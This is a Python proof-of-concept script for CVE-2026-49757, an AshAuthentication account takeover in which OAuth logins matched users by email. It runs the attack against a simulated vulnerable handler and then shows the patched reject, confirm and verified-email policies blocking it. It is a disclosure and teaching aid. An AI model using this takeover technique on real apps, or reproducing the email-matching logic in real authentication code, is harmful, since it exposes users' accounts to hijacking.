#!/usr/bin/env python3 """ CVE-2026-49757 — AshAuthentication OAuth2/OIDC Account Takeover PoC This script demonstrates the email-based user matching vulnerability in AshAuthentication's OAuth2 and OIDC strategies. Attack chain: 1. Victim registers on the target app with their email 2. Attacker registers on an OAuth provider with victim's email 3. Attacker signs in via OAuth — app matches by email, logs in as victim The script also demonstrates the fix: (strategy, sub) matching with configurable on_untrusted_email_match policy. Requirements: Python 3.8+ (standard library only) Usage: python3 exploit.py """ import sys import json from vulnerable_handler import VulnerableAuthHandler, FixedAuthHandler BANNER = """ ============================================================================== CVE-2026-49757 — AshAuthentication OAuth2/OIDC Account Takeover AshAuthentication < 4.14.0 and < 5.0.0-rc.10 CVSS 4.0: 9.2 (Critical) · CWE-290 · GHSA-777c-2fxx-qr28 ============================================================================== """ SECTION = "=" * 78 def demo_vulnerable(): """Demonstrate the vulnerable email-based user matching.""" print(SECTION) print("PHASE 1: VULNERABLE HANDLER — Email-Based User Matching") print("(Simulates AshAuthentication < 4.14.0)") print(SECTION) handler = VulnerableAuthHandler() # --- Step 1: Victim registers normally --- print("\n[1] Victim registers on the target application:") victim_id = handler.register_local_user( email="admin@target-app.com", username="admin", role="admin", ) print(f" Created local user: id={victim_id}, email=admin@target-app.com, role=admin") # Victim also links their Google account print("\n Victim links Google OAuth account:") victim_google_info = { "email": "admin@target-app.com", "email_verified": True, "sub": "google-victim-real-12345", "name": "Legitimate Admin", } handler.oauth_callback("google", victim_google_info, access_token="victim_google_token", refresh_token="victim_google_refresh") victim = handler.get_user(victim_id) print(f" Victim user: id={victim['id']}, email={victim['email']}, role={victim['role']}") # --- Step 2: Attacker registers on a DIFFERENT provider with victim's email --- print("\n[2] Attacker registers on Keycloak with the victim's email:") print(" (Attacker controls a Keycloak instance or uses a provider") print(" that doesn't verify email ownership)") attacker_provider_info = { "email": "admin@target-app.com", "email_verified": False, "sub": "keycloak-attacker-fake-789", "name": "Attacker", } print(f" Provider returns: {json.dumps(attacker_provider_info, indent=14)}") print(" Note: email_verified=False — should NOT be trusted!") # --- Step 3: Attacker initiates OAuth login --- print("\n[3] Attacker initiates OAuth2 login via the malicious provider:") print(" → GET /auth/keycloak/callback") print() session = handler.oauth_callback( "keycloak", attacker_provider_info, access_token="attacker_access_token", refresh_token="attacker_refresh_token", ) print() print(f" RESULT: {json.dumps(session, indent=14)}") # --- Verify the takeover --- print("\n[4] Verifying account takeover:") print(f" Session user_id: {session['user_id']}") print(f" Session email: {session['email']}") print(f" Session role: {session['role']}") print(f" Victim user_id: {victim_id}") if session["user_id"] == victim_id: print() print(" [!] [!] [!] ACCOUNT TAKEOVER SUCCESSFUL [!] [!] [!]") print(f" [!] Attacker is now logged in as user_id={victim_id} (admin)") print(f" [!] Attacker has role=admin") print(f" [!] Session token: {session['session_token']}") print(f" [!] The attacker's sub (keycloak-attacker-fake-789)") print(f" has been silently linked to the victim's account") else: print(" [x] Takeover failed — unexpected result") handler.close() return session def demo_fixed_reject(): """Demonstrate the fixed handler with :reject policy.""" print() print(SECTION) print("PHASE 2: FIXED HANDLER — :reject Policy (default)") print("(Simulates AshAuthentication >= 4.14.0)") print(SECTION) handler = FixedAuthHandler(on_untrusted_email_match="reject") print("\n[1] Victim registers and links Google account:") victim_id = handler.register_local_user( email="admin@target-app.com", username="admin", role="admin", ) handler.link_identity( strategy_name="google", sub="google-victim-real-12345", user_id=victim_id, user_info={ "email": "admin@target-app.com", "email_verified": True, "sub": "google-victim-real-12345", }, ) print(f" Victim: id={victim_id}, email=admin@target-app.com, role=admin") print("\n[2] Attacker attempts OAuth login with victim's email:") print(" → GET /auth/keycloak/callback") print() attacker_info = { "email": "admin@target-app.com", "email_verified": False, "sub": "keycloak-attacker-fake-789", "name": "Attacker", } result = handler.oauth_callback("keycloak", attacker_info) print() print(f" RESULT: {json.dumps(result, indent=14)}") if "error" in result: print() print(" [OK] LOGIN DENIED — Attack blocked by :reject policy") print(" [OK] The attacker's sub was not found in user_identities") print(" [OK] Email matching was NOT performed") print(" [OK] Victim's account is safe") else: print(" [!] Unexpected: login succeeded") handler.close() return result def demo_fixed_confirm(): """Demonstrate the fixed handler with :confirm policy.""" print() print(SECTION) print("PHASE 3: FIXED HANDLER — :confirm Policy") print("(User-friendly mode: email verification required for linking)") print(SECTION) handler = FixedAuthHandler(on_untrusted_email_match="confirm") print("\n[1] Victim registers and links Google account:") victim_id = handler.register_local_user( email="admin@target-app.com", username="admin", role="admin", ) handler.link_identity( strategy_name="google", sub="google-victim-real-12345", user_id=victim_id, user_info={ "email": "admin@target-app.com", "email_verified": True, "sub": "google-victim-real-12345", }, ) print("\n[2] Attacker attempts OAuth login with victim's email:") print(" → GET /auth/keycloak/callback") print() attacker_info = { "email": "admin@target-app.com", "email_verified": False, "sub": "keycloak-attacker-fake-789", "name": "Attacker", } result = handler.oauth_callback("keycloak", attacker_info) print() print(f" RESULT: {json.dumps(result, indent=14)}") if "confirmation_token" in result: print() print(" [OK] Confirmation token sent to admin@target-app.com") print(" [OK] The VICTIM receives the email, not the attacker") print(" [OK] Identity will only be linked if the victim confirms") print(" [OK] If the victim ignores it, the attack fails") print(" [OK] If the victim didn't initiate this, they know") print(" someone is trying to access their account") elif "error" in result: print() print(" [OK] Login denied") handler.close() return result def demo_fixed_trusted(): """Demonstrate the fixed handler with trust_email_verified=true.""" print() print(SECTION) print("PHASE 4: FIXED HANDLER — trust_email_verified? = true") print("(Trusted provider with email_verified=true auto-links)") print(SECTION) handler = FixedAuthHandler( on_untrusted_email_match="reject", trust_email_verified=True, ) print("\n[1] Victim registers with email:") victim_id = handler.register_local_user( email="admin@target-app.com", username="admin", role="admin", ) print("\n[2] Legitimate user signs in via Google (verified email):") print(" → GET /auth/google/callback") print() legit_info = { "email": "admin@target-app.com", "email_verified": True, "sub": "google-legitimate-user-999", "name": "Legitimate User", } result = handler.oauth_callback("google", legit_info) print() print(f" RESULT: {json.dumps(result, indent=14)}") if "session_token" in result: print() print(" [OK] Auto-linking succeeded for trusted, verified email") print(" [OK] This is the expected behavior for known providers") print(" (GitHub, Google, Auth0, Slack, Apple)") else: print(" [!] Unexpected: login failed") print("\n[3] Attacker tries the same with unverified email:") attacker_info = { "email": "admin@target-app.com", "email_verified": False, "sub": "keycloak-attacker-fake-789", } result2 = handler.oauth_callback("keycloak", attacker_info) print() print(f" RESULT: {json.dumps(result2, indent=14)}") if "error" in result2: print() print(" [OK] Attack blocked — email_verified=false not trusted") print(" [OK] on_untrusted_email_match=:reject applies") handler.close() def main(): print(BANNER) print(""" This PoC demonstrates CVE-2026-49757, a critical vulnerability in AshAuthentication where OAuth2/OIDC callbacks resolved to local user accounts by email address instead of the (strategy, sub) identity pair. The attack requires only: - Knowledge of the victim's email address - An account on any accepted OAuth provider with that email CVSS 4.0: 9.2 (Critical) CWE-290: Authentication Bypass by Spoofing GHSA: GHSA-777c-2fxx-qr28 Affected: ash_authentication >= 0.1.0, < 4.14.0 ash_authentication >= 5.0.0-rc.0, < 5.0.0-rc.10 Patched: 4.14.0, 5.0.0-rc.10 """) input("Press Enter to start Phase 1 (vulnerable handler)...") # Phase 1: Vulnerable session = demo_vulnerable() input("\nPress Enter to start Phase 2 (fixed: :reject)...") # Phase 2: Fixed with :reject demo_fixed_reject() input("\nPress Enter to start Phase 3 (fixed: :confirm)...") # Phase 3: Fixed with :confirm demo_fixed_confirm() input("\nPress Enter to start Phase 4 (fixed: trust_email_verified)...") # Phase 4: Fixed with trust_email_verified demo_fixed_trusted() print() print(SECTION) print("SUMMARY") print(SECTION) print(""" CVE-2026-49757 demonstrated that using email as a primary key for OAuth2/OIDC user resolution leads to complete account takeover. The fix introduces three layers of defense: 1. (strategy, sub) as the primary lookup — never email 2. on_untrusted_email_match policy (:reject / :confirm / :warn) 3. trust_email_verified? per-provider flag Key takeaway: EMAIL IS NOT IDENTITY. Only (iss, sub) uniquely and stably identifies an end-user per OpenID Connect Core §5.7. Sources: NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49757 GHSA: https://github.com/team-alembic/ash_authentication/security/advisories/GHSA-777c-2fxx-qr28 OIDC §5.7: https://openid.net/specs/openid-connect-core-1_0.html#ClaimStability """) print(SECTION) if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n\n[!] Interrupted by user.") sys.exit(1) except EOFError: print("\n\n[!] Running non-interactively — skipping prompts.") demo_vulnerable() demo_fixed_reject() demo_fixed_confirm() demo_fixed_trusted() print("\n[DONE] All phases completed.")